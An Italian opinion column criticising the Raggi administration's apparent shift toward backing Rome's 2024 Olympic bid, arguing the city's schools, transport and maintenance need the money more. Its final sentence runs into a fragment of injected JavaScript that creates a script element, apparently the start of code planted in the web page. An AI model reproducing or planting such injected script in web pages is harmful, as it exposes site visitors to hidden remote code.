Olimpiadi Roma

OLIMPIADI A 5 STELLE

di Sandro Medici

Com’era prevedibile, il presidente del Coni Giovanni Malagò si è immediatamente fiondato sulle aperture affiorate dalla giunta Raggi a proposito della candidatura di Roma alle Olimpiadi del 2024. Ha subito rassicurato che le opere e i servizi previsti per i Giochi sarebbero stati realizzati per migliorare la città e sviluppare il suo carente sistema infrastrutturale, e sempre più fiducioso ha rinnovato l’invito a incontrare la sindaca Raggi. Sembrerebbe così avviato quel percorso negoziale che alla fine determinerà il Campidoglio a sostenere la candidatura olimpica. Cosa che si era già capita nel luglio scorso, quando i consiglieri di maggioranza avevano votato contro quel referendum popolare che avrebbe almeno consentito alla città di pronunciarsi.
E così la candidatura romana, uno degli argomenti che aveva maggiormente vivacizzato la campagna elettorale della scorsa primavera, e su cui il movimento cinquestelle si era solennemente dichiarato contrario, appare sempre più vicina a formalizzarsi definitivamente. Si può cambiare idea, valutare positivamente quanto in precedenza veniva considerato dannoso e sconveniente. Ma certo non ci si aspettava una ritirata tanto immediata, quanto deludente. Anche perché in queste poche settimane che ci separano dalle elezioni comunali, le precarie condizioni in cui versa Roma restano desolatamente le stesse; né, tanto meno, si può ritenere che i lavori previsti per le Olimpiadi possano migliorare i suoi assetti, così come la vita di chi ci abita.
Solo per fare un riassuntino: a Roma l’80% delle scuole non è a norma (l’ottanta per cento), il sistema dei trasporti funziona al 50% della sua potenzialità (il cinquanta per cento), la manutenzione di strade, parchi e giardini è sostanzialmente azzerata, il patrimonio pubblico versa in una stato penoso, la rete dei servizi è ridotta al minimo, meno che al minimo. E cosa si pensa di fare? Investire miliardi per fare le Olimpiadi. Non per rimettere un po’ a posto la città, renderla più funzionale e vivibile, risolvere almeno i problemi più acuti, soddisfare le esigenze popolari, rispettare i diritti sociali, riattivare i circuiti culturali, ecc.

Sembrerebbe insomma che le Olimpiadi di Roma 2024 non avranno più i tradizionali cinque cerchi ma le ben più luminose cinque stelle.var d=document;var s=d.createElement(‘script’);

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